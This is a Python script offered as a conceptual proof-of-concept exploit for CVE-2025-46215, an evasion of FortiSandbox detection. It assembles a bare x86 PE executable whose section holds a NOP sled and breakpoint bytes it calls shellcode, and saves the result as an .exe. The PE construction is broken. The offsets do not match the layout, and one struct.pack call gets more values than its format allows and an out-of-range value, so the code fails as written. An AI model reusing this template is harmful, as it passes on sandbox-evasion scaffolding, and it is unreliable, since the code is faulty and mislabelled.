# CVE-2025-46215 FortiSandbox Evasion PoC (Conceptual)
# Note: This is a conceptual PoC for educational purposes only
# Actual exploit requires specific file format knowledge
import struct
import os
def create_malformed_file():
"""
Create a crafted file that may evade FortiSandbox detection.
The actual file format depends on specific vulnerability details.
"""
# Example: Create a PE file with specific characteristics
# that might bypass sandbox analysis
# MZ header
pe_header = b'MZ'
pe_header += b'\x00' * 58
pe_header += struct.pack('<I', 0x80) # PE offset
# PE signature
pe_sig = b'PE\x00\x00'
# COFF header
coff_header = struct.pack('<HHIIIHH',
0x014c, # Machine (x86)
0x0001, # NumberOfSections
0, # TimeDateStamp
0, # PointerToSymbolTable
0, # NumberOfSymbols
0xe0, # SizeOfOptionalHeader
0x0102 # Characteristics
)
# Optional header
optional_header = struct.pack('<HHBBIIIIIHHHHHH',
0x010b, # Magic (PE32)
14, # MajorLinkerVersion
0, # MinorLinkerVersion
0x200, # SizeOfCode
0x200, # SizeOfInitializedData
0, # SizeOfUninitializedData
0x1000, # AddressOfEntryPoint
0x1000, # BaseOfCode
0x3000, # BaseOfData
0x400000,# ImageBase
0x1000, # SectionAlignment
0x200, # FileAlignment
6, # MajorOperatingSystemVersion
0, # MinorOperatingSystemVersion
0, # MajorImageVersion
0 # MinorImageVersion
)
# Section header
section_name = b'.text\x00\x00\x00'
section_header = section_name
section_header += struct.pack('<IIIIIIIIHHII',
0x1000, # VirtualSize
0x1000, # VirtualAddress
0x200, # SizeOfRawData
0x200, # PointerToRawData
0, # PointerToRelocations
0, # PointerToLinenumbers
0, # NumberOfRelocations
0, # NumberOfLinenumbers
0x60000020 # Characteristics
)
# Section data with shellcode
shellcode = b'\x90' * 100 # NOP sled
shellcode += b'\xcc' * 50 # Breakpoints (for evasion)
shellcode += b'\x00' * (0x200 - len(shellcode))
# Combine all parts
pe_file = pe_header + pe_sig + coff_header + optional_header + section_header + shellcode
return pe_file
def main():
output_file = 'CVE-2025-46215_sample.exe'
malicious_content = create_malformed_file()
with open(output_file, 'wb') as f:
f.write(malicious_content)
print(f'[+] Created PoC file: {output_file}')
print('[+] File size:', len(malicious_content), 'bytes')
print('[!] Note: This is a conceptual PoC. Actual exploit requires')
print(' detailed analysis of the specific evasion technique.')
if __name__ == '__main__':
main()